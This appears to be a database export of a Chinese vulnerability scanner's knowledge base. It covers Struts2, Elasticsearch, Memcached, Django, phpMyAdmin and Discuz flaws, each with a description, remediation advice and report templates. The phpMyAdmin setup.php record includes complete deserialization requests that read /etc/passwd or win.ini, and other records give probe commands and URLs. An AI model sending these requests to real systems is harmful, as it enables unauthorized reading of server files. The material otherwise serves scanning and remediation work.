{%- endif %} | 60082 | t | {CT-58678,CVE-2013-1965,CNNVD-201305-486,60082} | medium | 9.6 | null | 通过专业的安全评估，如果被攻击者利用，可直接getshell；可被用于内网信息收集，扫描目标内网主机；可攻击运行在内网或本地的应用程序；可被用作攻击跳板； | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Struts2是第二代基于Model-View-Controller (MVC)模型的java企业级web应用框架。它是WebWork和Struts社区合并后的产物。 | CVE-2013-1965 | CVE-2013-1965: Apache Struts2 2.0.0～2.3.14.2 远程命令执行漏洞S2-012 | http | 暂无 | f | 10/7/2013 16:00:00 | 严格检查参数的数据类型、数值与数据长度； 过滤可能产生命令注入的特殊字符，例如：$、=、'、、||、>、-、>>、等；升级中间件版本； |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "2.3.14.3", "versionStartIncluding": "2.0.0"}]}] | null | f | CT-125575 | CNNVD-201306-105 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | 60345 | t | {CT-125575,CVE-2013-2135,CNNVD-201306-105,60345} | high | 9.6 | null | 通过专业的安全评估，如果被攻击者利用，可直接getshell；可被用于内网信息收集，扫描目标内网主机；可攻击运行在内网或本地的应用程序；可被用作攻击跳板； | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Apache Struts是美国阿帕奇（Apache）软件基金会负责维护的一个开源项目，是一套用于创建企业级Java Web应用的开源MVC框架，主要提供两个版本框架产品，Struts 1和Struts 2。 Apache Struts 2.0.0至2.3.14.2版本中存在远程命令执行漏洞。远程攻击者可借助带有‘${}’和‘%{}’序列值（可导致判断OGNL代码两次）的请求，利用该漏洞执行任意OGNL代码。 | CVE-2013-2135 | CVE-2013-2135: Apache Struts OGNL表达式注入漏洞 | http | 暂无 | f | 16/7/2013 16:00:00 | 严格检查参数的数据类型、数值与数据长度； 过滤可能产生命令注入的特殊字符，例如：$、=、'、、||、>、-、>>、等；升级中间件版本； |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndIncluding": "1.3.7"}, {"cpe23Uri": "cpe:2.3:a:elastic:elasticsearch:1.4.0:beta1:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:elastic:elasticsearch:1.4.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:elastic:elasticsearch:1.4.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:elastic:elasticsearch:1.4.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}] | null | f | CT-4870 | CNNVD-201502-288 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | 72585 | t | {CT-4870,CVE-2015-1427,CNVD-2015-01160,CNNVD-201502-288,72585} | medium | 6.3 | CNVD-2015-01160 | 攻击者可在没有认证的情况下直接操作对应的 API 接口，可直接被非法增删改次数据。且因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | ElasticSearch是一个基于Lucene构建的开源，分布式，RESTful搜索引擎。 | CVE-2015-1427 | CVE-2015-1427: Elasticsearch Groovy Scripting Engine Sandbox 安全绕过漏洞 | http | 暂无 | f | 16/2/2015 16:00:00 | 1. 日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞。
2. 鉴权，服务端对请求的数据和当前用户身份做校验;完善基础安全架构，完善用户权限体系。
3. 对于后台接口，确保所有 API 接口先经过登录控制器。
4. 在验证用户身份权限前不进行任何数据的交互。 |
|
[] | null | f | CT-157829 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-157829} | high | 0 | null | 攻击者可在没有认证的情况下直接操作对应的 API 接口，可直接被非法增删改次数据。且因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | service | null | Memcached 未授权漏洞是由于 Memcached 本身没有权限控制模块的安全设计所造成的。所以，在对公网开放的 Memcache 服务很容易被攻击者扫描发现，攻击者通过命令交互可直接读取 Memcached 中的敏感信息。导致数据库被非授权用户访问并对数据库数据进行增删改等高危操作。Memcached 数据库未授权访问漏洞危害严重，可以导致数据库数据泄露或被删除勒索，从而造成严重的数据安全事故。 | null | 通过以下命令尝试连接到 Memcached 的服务端口：
```
telnet {{ detail.host }} {{ detail.port }}
```
如果连接成功，表示存在 Memcached 未授权漏洞。 | Memcached 未授权访问漏洞 | memcache | 暂无 | f | 11/3/2021 08:09:09 | 1. 日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞。
2. 鉴权，服务端对请求的数据和当前用户身份做校验;完善基础安全架构，完善用户权限体系。
3. 对于后台接口，确保所有 API 接口先经过登录控制器。
4. 在验证用户身份权限前不进行任何数据的交互。 |
[] | null | f | CT-157837 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-157837} | medium | 0 | null | 通过专业的安全评估，如果被攻击者利用，可能会被getshell,泄漏服务器敏感信息 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Django 调试信息泄露漏洞指的是 Django 在调试模式下，如果程序抛出异常，Django 会在网页上显示详细的错误信息，其中包括调用堆栈、代码片段、环境变量和物理路径等对攻击者有利的信息。利用这些信息攻击者可以扩大自己的攻击面，进一步的发起攻击。 | null | 在服务器查看 setting.py 里面的 DEBUG，若 `DEBUG = True`，则说明该漏洞是存在的。 | Django 调试信息泄露漏洞 | http | 暂无 | f | 11/3/2021 08:09:00 | 1. 将 settings.py 文件中的 `DEBUG = True` 修改为 `DEBUG = False` 以关闭调试模式；
2. 设定合理的 `ALLOWED_HOSTS`；
3. 部署长亭科技 Web 应用防火墙。 |
[] | null | f | CT-638889 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-638889} | high | 0 | null | 攻击者利用此漏洞可直接进入应用系统或者管理系统，从而进行系统、网页、数据的篡改与删除，非法获取系统、用户的数据，甚至可能导致服务器沦陷。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | phpMyAdmin 是一个用 PHP 编写的、基于 Web 的 MySQL 数据库管理工具软件。 通过该管理工具可以对 MySQL 进行各种操作，如何创建数据库，数据表和生成 MySQL 数据库脚本文件等该工具可以通过 Web 方式控制和操作 MySQL 数据库，可以完全对数据库进行操作，例如建立、复制、删除数据、执行 SQL 脚本命令等。通过该工具使得 MySQL 数据库的管理变得相当简单。
弱口令（Weak password）没有严格和准确的定义，通常认为容易被别人猜测到或被破解工具破解的口令均为弱口令。弱口令指的是仅包含简单数字和字母的口令，例如 “123456”、“123abc” 等。因为这样的口令很容易被别人破解，从而使对应的账户面临风险。
phpMyAdmin 弱口令指的是 phpMyAdmin 数据库管理系统登陆账号的口令过于简单。攻击者可以通过破解口令登录到数据库管理平台系统，对数据库进行增、删、改等高风险恶意操作。从而导致数据泄露或其他入侵事件发生，安全风险高。 | null | 使用浏览器访问一下地址：
```
{{ detail.from_url }}
```
在打开的 phpMyAdmin 登录界面中，账号名框中输入： {{ detail.username.value }} ，在口令框中输入： {{ detail.password.value }} 尝试登录，如果登录成功，表示存在该漏洞。 | phpMyAdmin 弱口令漏洞 | http | 暂无 | f | 3/8/2021 11:19:46 | - 用户层面
1. 不要使用常见的弱口令作为密码。
2. 不要多个系统或者社交账号使用同一套密码。
3. 定期修改密码。
4. 建议使用包含随机值的或者随机生成的字符串作为系统密码。
- 系统层面
1. 增加人机验证机制，限制 ip 访问次数。
2. 服务端对登录处增加图形验证码并保证使用一次即销毁。
3. 强制用户首次登录时修改默认口令，或是使用用户自定义初始密码的策略。
4. 服务端对登录接口进行限制，单个 IP 单位时间内请求超过阈值，封禁 30 分钟。
5. 服务端对登录接口进行限制，单个用户密码单位时间内错误次数超过阈值，封禁 20 分钟。
6. 修改密码、添加账号等涉及密码策略处强制用户使用强密码策略（大小写字母 + 数字 + 特殊字符 + 8 位以上）
7. 完善密码策略，信息安全最佳实践的密码策略为 8 位（包括）以上字符，包含数字、大小写字母、特殊字符中的至少 3 种。 |
[] | null | f | CT-157844 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-157844} | medium | 0 | null | 造成用户信息，站点配置信息等敏感信息泄露。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | phpMyAdmin setup 目录信息泄露漏洞指的是 phpMyAdmin 的 `setup` 目录在配置完成之后并未删除，导致攻击者可以读取其中的配置文件，里面可能含有数据库地址、账号和口令等敏感信息。攻击者可以通过直接访问这个文件触发该漏洞，通过该漏洞泄露的信息，可以获取到 phpMyAdmin 配置信息。一旦服务器开放了数据库的远程连接功能，攻击者就可以利用从配置文件中找到的数据库用户名和密码对远程数据库进行登陆，危险性及其严重。 | null | 在浏览器访问：
```
{{ detail.addr }}
```
中的 `/setup/index.php` 页面，如果可以访问到这个页面，则证明该漏洞是存在的。 | phpMyAdmin setup 目录信息泄露漏洞 | http | 暂无 | f | 11/3/2021 08:09:10 | 1. 修改配置文件使目标路径不可访问。
2. 禁止在 Web 站点的发布下放置任何测试配置文件。
3. 禁止在正式部署环境中存在调试文件和调试信息。
4. 开发环境与部署环境分离，不要直接在线上系统修改代码。
5. 建立规范的部署流程，不要直接在源代码的工作目录进行发布和部署。 |
[] | null | f | CT-157849 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-157849} | low | 0 | null | 造成用户信息，站点配置信息等敏感信息泄露。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Discuz! admincp.php 信息泄露漏洞指的是在访问 `/manyou/admincp.php` 页面时会泄露软件在服务器的路径信息。攻击者直接访问这个页面就可以触发该漏洞，利用该漏洞泄露的信息攻击者可以扩大攻击面，进一步对网站发起攻击。 | null | 在浏览器访问：`http://host_ip:host_port/manyou/admincp.php?my_suffix=%0A%0DTOBY57`，如果可以访问到这个页面，并且页面包含目录信息，则证明该漏洞是存在的。 | Discuz! admincp.php 信息泄露漏洞 | http | 暂无 | f | 11/3/2021 08:09:10 | 1. 修改配置文件使目标路径不可访问。
2. 禁止在 Web 站点的发布下放置任何测试配置文件。
3. 禁止在正式部署环境中存在调试文件和调试信息。
4. 开发环境与部署环境分离，不要直接在线上系统修改代码。
5. 建立规范的部署流程，不要直接在源代码的工作目录进行发布和部署。 |
[] | null | f | CT-157856 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-157856} | high | 0 | null | 如果系统未对读取/下载文件的文件目录做限制，攻击者利用此漏洞可直接读取web目录下任意文件，比如配置文件、数据库文件等，甚至直接获取服务器上任意文件内容。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | phpMyAdmin setup.php 文件读取漏洞是指 phpMyAdmin 2.8.0.3 版本在 `/scripts/setup.php` 文件中存在任意文件读取漏洞，攻击者可利用漏洞读取网站上的敏感文件。在受影响的 phpMyAdmin 版本中，`setup.php` 引入了 `Config.class.php`，并将用户传入的参数 `$configuration` 反序列化。引入的文件带有 `__wakeup` 魔术方法，魔术方法内部又调用了 `load` 函数解析并读取配置文件，因此可以构造序列化参数，造成反序列化漏洞。在一定条件下，恶意攻击者可以通过发送构造的 HTTP 请求在未经授权的情况下获取 phpMyAdmin 上的任意文件内容，导致服务器上的敏感信息遭到泄漏和进一步被利用，危害十分严重。 | null | `Windows` 系统发送如下请求：
```
POST /scripts/setup.php HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
Host: {{ detail.addr }}
User-Agent: Python/3.6 aiohttp/3.1.3
Content-Length: 129
Content-Type: application/x-www-form-urlencoded
configuration=O%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%2Cs%3A18%3A%22c%3A%2Fwindows%2Fwin.ini%22%3B%7D&action=test
```
`Linux` 系统发送如下请求：
```
POST /scripts/setup.php HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
Host: {{ detail.addr }}
User-Agent: Python/3.6 aiohttp/3.1.3
Content-Length: 120
Content-Type: application/x-www-form-urlencoded
configuration=O%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%2Cs%3A11%3A%22%2Fetc%2Fpasswd%22%3B%7D&action=test
```
如果在请求返回内容中发现 `win.ini` 文件内容或 `/etc/passwd` 文件内容，则说明漏洞存在。 | phpMyAdmin setup.php 文件读取漏洞 | http | 暂无 | f | 11/3/2021 08:09:10 | 1. 配置文件：在配置文件中限制访问的文件目录，比如 PHP 中 php.ini 配置 open_basedir。
2. 特殊字符过滤：检查用户输入，过滤或转义含有 “../”、“..\”、“%00”，“..”，“./”，“#” 等跳转目录或字符终止符、截断字符的输入。
3. 合法性判断：严格过滤用户输入字符的合法性，比如文件类型、文件地址、文件内容等。
4. 白名单：白名单限定访问文件的路径、名称及后缀名。 |
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:phpmyadmin:phpmyadmin:3.5.1.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:phpmyadmin:phpmyadmin:3.5.2.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:phpmyadmin:phpmyadmin:3.5.0.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}] | null | f | CT-131732 | CNNVD-201208-304 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
